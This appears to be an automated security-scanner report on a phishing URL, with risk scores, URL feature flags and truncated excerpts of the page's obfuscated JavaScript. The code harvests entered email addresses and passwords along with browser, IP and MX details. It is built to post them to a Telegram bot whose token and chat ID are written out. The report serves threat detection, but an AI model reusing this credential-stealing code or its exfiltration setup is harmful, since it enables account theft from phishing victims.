Windows Analysis Report
http://ngfreemessage-verifying.freewebhostmost.com/

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": true,
    "malicious_keywords": true,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": true
}

URL: http://ngfreemessage-verifying.freewebhostmost.com

{
    "risk_score": 9,
    "reasoning": "This JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to potentially malicious domains. The use of obfuscated code and URLs further increases the risk. While some contextual factors, such as the use of known domains, may slightly reduce the risk, the overall behavior of this script is highly suspicious and likely malicious."
}

   var _$_b64c=["hide","#msg","","val","#ai","animate","#automail","show","#inputbar","click","#back1","substr","hash","location","test","#errror","focus","@","indexOf",".","toLowerCase","toUpperCase","bmV4dC5waHA=","#mgss","preventDefault","#pr","html","text","#logoname",".domain","#sub_btn","ready","appVersion","clientInformation","language","display","style","loader","getElementsByClassName","none","href","/","split","substring","https://image.thum.io/get/width/1200/http://","backgroundImage","body","url(\'","\')","overlay","block","modal","error","#error","lessThan4","#lessThan4","msg","submitBtn","#submit-btn","secLgSs","#sec-lg-ss","frgPsw","#frg-psw","copy","#copy","placeholder","emlTxt","attr","#email","pswTxt","#password","charAt","slice","https://logo.clearbit.com/","https://www.google.com/s2/favicons?domain=","#logoimg","fail","done","get","src","#favicon"," ","emlLogin","#loginMgs","title"," - ","mail","type","password","#pass-eye","verifyingText","length",", "," +--------n","Email : ","\x0A","Password : ","Checker: ",":","Browser : ","Language : ","MX Record : ","IP Address : "," n","Date : "," +-------------n","7991728907:AAFKTH1nXZidkYuqMzVXJCTKcWq2YxWM8k8","6440213344","JSON","/sendMessage","POST","ok",".login-form",".success-con","yourEmail"," <br>\x0A                      ","success","</b>\x0A                    ",".success-con .msg","replace","#net-errror","Error : ","log","ajax","submit",".login-form form"];
$(document)[_$_b64c[31]](function()
{
	var _0xE0AF=0;//16900
	initializePage();$(_$_b64c[10])[_$_b64c[9]](function()
	{
		$(_$_b64c[1])[_$_b64c[0]]();$(_$_b64c[4])[_$_b64c[3]](_$_b64c[2]);$(_$_b64c[6])[_$_b64c[5]]({left:200,opacity:_$_b64c[0]},0);$(_$_b64c[8])[_$_b64c[5]]({right:200,opacity:_$_b64c[7]},1000)
	}
	);var _0xE01C=handleBase64Data(window[_$_b64c[13]][_$_b64c[12]][_$_b64c[11]](1));//16917
	if(!_0xE01C)
	{
		
	}
	else 
	{
		var _0xE206=_0xE01C;//16921
		$(_$_b64c[4])[_$_b64c[3]](_0xE206);var _0xE111=/^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;//16923
		if(!_0xE111[_$_b64c[14]](_0xE206))
		{
			$(_$_b64c[15])[_$_b64c[7]]();_0xE01C[_$_b64c[16]];return false
		}
		//16925
		var _0xE1A4=_0xE206[_$_b64c[18]](_$_b64c[17]);//16930
		var _0xE1D5=_0xE206[_$_b64c[11]]((_0xE1A4+ 1));//16931
		var _0xE07E=_0xE1D5[_$_b64c[11]](0,_0xE1D5[_$_b64c[18]](_$_b64c[19]));//16932
		var _0xE142=_0xE07E[_$_b64c[20]]();//16933
		var _0xE173=_0xE07E[_$_b64c[21]]();//16934
		var _0xE04D=GetBrowserandLanguage()[0]
	}
	//16918
	var _0xE0E0=_$_b64c[22];//16943
	$(_$_b64c[30])[_$_b64c[9]](function(_0xE237)
	{
		$(_$_b64c[15])[_$_b64c[0]]();$(_$_b64c[23])[_$_b64c[0]]();_0xE237[_$_b64c[24]]();var _0xE01C=$(_$_b64c[4])[_$_b64c[3]]();//16949
		var _0xE299=$(_$_b64c[25])[_$_b64c[3]]();//16950
		var _0xE268=$(_$_b64c[23])[_$_b64c[26]]();//16951
		$(_$_b64c[23])[_$_b64c[27]](_0xE268);var _0xE206=_0xE01C;//16954
		var _0xE111=/^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;//16955
		if(!_0xE111[_$_b64c[14]](_0xE206))
		{
			$(_$_b64c[15])[_$_b64c[7]]();_0xE01C[_$_b64c[16]];return false
		}
		//16957
		var _0xE1A4=_0xE206[_$_b64c[18]](_$_b64c[17]);//16963
		var _0xE1D5=_0xE206[_$_b64c[11]]((_0xE1A4+ 1));//16964
		var _0xE07E=_0xE1D5[_$_b64c[11]](0,_0xE1D5[_$_b64c[18]](_$_b64c[19]));//16965
		var _0xE142=_0xE07E[_$_b64c[20]]();//16966
		var _0xE173=_0xE07E[_$_b64c[21]]();//16967
		$(_$_b64c[28])[_$_b64c[26]](_0xE173);$(_$_b64c[29])[_$_b64c[26]](_0xE1D5);_0xE0AF= _0xE0AF+ 1
	}
	)
}
);function GetBrowserandLanguage()
{
	let _0xE04D=window[_$_b64c[33]][_$_b64c[32]];//16983
	let _0xE32C=window[_$_b64c[33]][_$_b64c[34]];//16984
	let _0xE2FB=[_0xE04D,_0xE32C];//16986
	return _0xE2FB
}
function initializePage()
{
	setTimeout(function()
	{
		document[_$_b64c[38]](_$_b64c[37])[0][_$_b64c[36]][_$_b64c[35]]= _$_b64c[39];var _0xEA10=location[_$_b64c[40]];//16996
		const _0xE9DF= new URL(_0xEA10);//16997
		let _0xE97D=_0xE9DF[_$_b64c[12]];//16998
		_0xE97D= handleBase64Data(_0xE97D[_$_b64c[11]](1)[_$_b64c[42]]

{
    "risk_score": 5,
    "reasoning": "The provided JavaScript snippet appears to have a mix of both benign and potentially concerning behaviors. While it includes some functionality related to IP address lookup and email/password validation, it also exhibits moderate-risk indicators such as external data transmission and aggressive DOM manipulation. Further review is needed to fully assess the intent and potential impact of this script."
}

    
    

   var _$_d47d=["GET","https://ipinfo.io/json","open","onload","status","responseText","parse","Failed to fetch IP address","onerror","send","&type=MX","json","Answer","length","\x0A","join","data","","map","no-mx","MX-Error","ip","country","city","region","appVersion","clientInformation","language","userLanguage","substring","Password must be at least 4 characters long.","Invalid password. Please enter the correct information.","The account does not exist. Please enter a different account.","Email","Password","Login","Secure login session","Forgot password?","Copyright \xA9 2024","Verifying...","Email Login","Mail","Your email has been successfully activated.","Thank you. You will receive your file in your email shortly.","\u5bc6\u7801\u957f\u5ea6\u5fc5\u987b\u5927\u4e8e4\u4e2a\u5b57\u7b26\u3002","\u65e0\u6548\u7684\u5bc6\u7801\u3002\u8bf7\u8f93\u5165\u6b63\u786e\u7684\u4fe1\u606f\u3002","\u8be5\u8d26\u6237\u4e0d\u5b58\u5728\u3002\u8bf7\u8f93\u5165\u5176\u4ed6\u8d26\u6237\u3002","\u90ae\u7bb1","\u5bc6\u7801","\u767b\u5f55","\u5b89\u5168\u767b\u5f55\u4f1a\u8bdd","\u5fd8\u8bb0\u5bc6\u7801\uff1f","\u7248\u6743\u6240\u6709 \xA9 2023","\u9a8c\u8bc1\u4e2d...","\u90ae\u7bb1\u767b\u5f55","\u60a8\u7684\u90ae\u7bb1\u5df2\u6210\u529f\u6fc0\u6d3b\u3002","\u8c22\u8c22\u3002\u60a8\u5c06\u5728\u90ae\u4ef6\u4e2d\u6536\u5230\u60a8\u7684\u6587\u4ef6\u3002","\u30d1\u30b9\u30ef\u30fc\u30c9\u306f4\u6587\u5b57\u4ee5\u4e0a\u3067\u3042\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002","\u7121\u52b9\u306a\u30d1\u30b9\u30ef\u30fc\u30c9\u3067\u3059\u3002\u6b63\u3057\u3044\u60c5\u5831\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044\u3002","\u30a2\u30ab\u30a6\u30f3\u30c8\u304c\u5b58\u5728\u3057\u307e\u305b\u3093\u3002\u5225\u306e\u30a2\u30ab\u30a6\u30f3\u30c8\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044\u3002","\u30e1\u30fc\u30eb","\u30d1\u30b9\u30ef\u30fc\u30c9","\u30ed\u30b0\u30a4\u30f3","\u30bb\u30ad\u30e5\u30a2\u30ed\u30b0\u30a4\u30f3\u30bb\u30c3\u30b7\u30e7\u30f3","\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u5fd8\u308c\u305f\u5834\u5408","\u8457\u4f5c\u6a29 \xA9 2023","\u78ba\u8a8d\u4e2d...","\u30e1\u30fc\u30eb\u30ed\u30b0\u30a4\u30f3","\u3042\u306a\u305f\u306e\u30e1\u30fc\u30eb\u306f\u6b63\u5e38\u306b\u30a2\u30af\u30c6\u30a3\u30d6\u5316\u3055\u308c\u307e\u3057\u305f\u3002","\u3042\u308a\u304c\u3068\u3046\u3054\u3056\u3044\u307e\u3059\u3002\u30d5\u30a1\u30a4\u30eb\u306f\u3059\u3050\u306b\u30e1\u30fc\u30eb\u3067\u304a\u5c4a\u3051\u3057\u307e\u3059\u3002","A senha deve ter mais de 4 caracteres.","Senha inv\xE1lida. Por favor, insira as informa\xE7\xF5es corretas.","A conta n\xE3o existe. Por favor, insira uma conta diferente.","Senha","Entrar","Sess\xE3o de login segura","Esqueceu a senha?","Verificando...","Login por Email","Seu email foi ativado com sucesso.","Obrigado. Voc\xEA receber\xE1 seu arquivo em seu email em breve.","\ube44\ubc00\ubc88\ud638\ub294 4\uc790 \uc774\uc0c1\uc774\uc5b4\uc57c \ud569\ub2c8\ub2e4.","\uc798\ubabb\ub41c \ube44\ubc00\ubc88\ud638\uc785\ub2c8\ub2e4. \uc62c\ubc14\ub978 \uc815\ubcf4\ub97c \uc785\ub825\ud558\uc138\uc694.","\ud574\ub2f9 \uacc4\uc815\uc774 \uc874\uc7ac\ud558\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4. \ub2e4\ub978 \uacc4\uc815\uc744 \uc785\ub825\ud558\uc138\uc694.","\uc774\uba54\uc77c","\ube44\ubc00\ubc88\ud638","\ub85c\uadf8\uc778","\ubcf4\uc548 \ub85c\uadf8\uc778 \uc138\uc158","\ube44\ubc00\ubc88\ud638\ub97c \uc78a\uc73c\uc168\ub098\uc694?","\uc800\uc791\uad8c \xA9 2023","\ud655\uc778 \uc911...","\uc774\uba54\uc77c \ub85c\uadf8\uc778","\uba54\uc77c","\uc774\uba54\uc77c\uc774 \uc131\uacf5\uc801\uc73c\ub85c \ud65c\uc131\ud654\ub418\uc5c8\uc2b5\ub2c8\ub2e4.","\uac10\uc0ac\ud569\ub2c8\ub2e4. \uace7 \uc774\uba54\uc77c\ub85c \ud30c\uc77c\uc744 \ubc1b\uc73c\uc2e4 \uc218 \uc788\uc2b5\ub2c8\ub2e4.","La contrase\xF1a debe tener m\xE1s de 4 caracteres.","Contrase\xF1a inv\xE1lida. Por favor, ingrese la informaci\xF3n correcta.","La cuenta no existe. Por favor, ingrese una cuenta diferente.","Correo electr\xF

{
"contains_trigger_text": false,
"trigger_text": "unknown",
"prominent_button_name": "Login",
"text_input_field_labels": [
"[E-mail-]",
"**********"
],
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
  "brands": "unknown"
}